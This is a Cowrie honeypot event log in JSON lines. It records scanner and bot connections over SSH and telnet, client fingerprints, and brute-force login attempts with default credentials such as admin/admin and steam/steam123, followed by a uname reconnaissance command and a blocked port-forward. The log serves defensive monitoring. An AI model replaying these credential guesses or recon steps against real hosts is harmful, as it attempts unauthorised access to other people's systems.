{"eventid":"cowrie.session.connect","src_ip":"205.210.31.166","src_port":58920,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a62daa23a1f","protocol":"ssh","message":"New connection: 205.210.31.166:58920 (10.17.0.5:22) [session: 7a62daa23a1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:04.745479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:05.506043Z","src_ip":"205.210.31.166","session":"7a62daa23a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57492,"dst_ip":"159.203.135.109","dst_port":22,"session":"408f287775d7","protocol":"ssh","message":"New connection: 122.168.114.167:57492 (159.203.135.109:22) [session: 408f287775d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:06.233843Z"}
{"eventid":"cowrie.session.closed","duration":46.07917094230652,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:06.381766Z","src_ip":"185.26.126.47","session":"247f790b1034","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:06.686457Z","src_ip":"205.210.31.166","session":"7a62daa23a1f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:13.139825Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:13.143575Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:14.148816Z","src_ip":"205.210.31.166","session":"7a62daa23a1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":55154,"dst_ip":"159.203.135.109","dst_port":23,"session":"40ad49a7055f","protocol":"telnet","message":"New connection: 185.26.126.47:55154 (159.203.135.109:23) [session: 40ad49a7055f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:19.134656Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":1196,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0509e44685","protocol":"ssh","message":"New connection: 159.223.45.177:1196 (159.203.135.109:22) [session: 6f0509e44685]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:36.208833Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:38.958348Z","src_ip":"159.223.45.177","session":"6f0509e44685","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:39.837610Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":59898,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0682190f3a","protocol":"ssh","message":"New connection: 122.168.114.167:59898 (159.203.135.109:22) [session: 6d0682190f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:43.154797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:50.023149Z","src_ip":"122.168.114.167","session":"6d0682190f3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:50.054762Z","src_ip":"122.168.114.167","session":"6d0682190f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25868,"dst_ip":"10.17.0.5","dst_port":22,"session":"e07e7f2f54e9","protocol":"ssh","message":"New connection: 87.251.64.176:25868 (10.17.0.5:22) [session: e07e7f2f54e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:51.534400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:51.539668Z","src_ip":"87.251.64.176","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:51.636439Z","src_ip":"87.251.64.176","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:51.925288Z","src_ip":"87.251.64.176","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:52.026655Z","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:52.124204Z","src_ip":"87.251.64.176","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:52.224705Z","src_ip":"87.251.64.176","session":"e07e7f2f54e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:54.301988Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:53:54.305521Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.77590203285217,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:03.910444Z","src_ip":"185.26.126.47","session":"40ad49a7055f","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"10.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:04.673608Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"58.4","message":"Connection lost after 58.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:04.682020Z","src_ip":"122.168.114.167","session":"408f287775d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":35152,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5ec73209673","protocol":"ssh","message":"New connection: 78.128.112.74:35152 (159.203.135.109:22) [session: d5ec73209673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:09.883023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:10.109154Z","src_ip":"78.128.112.74","session":"d5ec73209673","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:10.113319Z","src_ip":"78.128.112.74","session":"d5ec73209673","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"net","message":"login attempt [user/net] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:11.438487Z","src_ip":"78.128.112.74","session":"d5ec73209673","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:12.567721Z","src_ip":"78.128.112.74","session":"d5ec73209673","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.46.81","src_port":34842,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b5b9dd5f2ba","protocol":"ssh","message":"New connection: 218.78.46.81:34842 (10.17.0.5:22) [session: 5b5b9dd5f2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:14.305883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:14.309800Z","src_ip":"218.78.46.81","session":"5b5b9dd5f2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:14.520213Z","src_ip":"218.78.46.81","session":"5b5b9dd5f2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:17.862069Z","src_ip":"218.78.46.81","session":"5b5b9dd5f2ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34076,"dst_ip":"159.203.135.109","dst_port":22,"session":"3db9fa9a9bb9","protocol":"ssh","message":"New connection: 122.168.114.167:34076 (159.203.135.109:22) [session: 3db9fa9a9bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:22.354183Z"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:26.299455Z","src_ip":"122.168.114.167","session":"6d0682190f3a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:31.716740Z","src_ip":"122.168.114.167","session":"3db9fa9a9bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:31.720977Z","src_ip":"122.168.114.167","session":"3db9fa9a9bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.7","message":"Connection lost after 52.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:54:35.823071Z","src_ip":"122.168.114.167","session":"6d0682190f3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36470,"dst_ip":"159.203.135.109","dst_port":22,"session":"34e066862ceb","protocol":"ssh","message":"New connection: 122.168.114.167:36470 (159.203.135.109:22) [session: 34e066862ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:00.462723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:55:10.893430Z","src_ip":"122.168.114.167","session":"34e066862ceb","protocol":"ssh"}
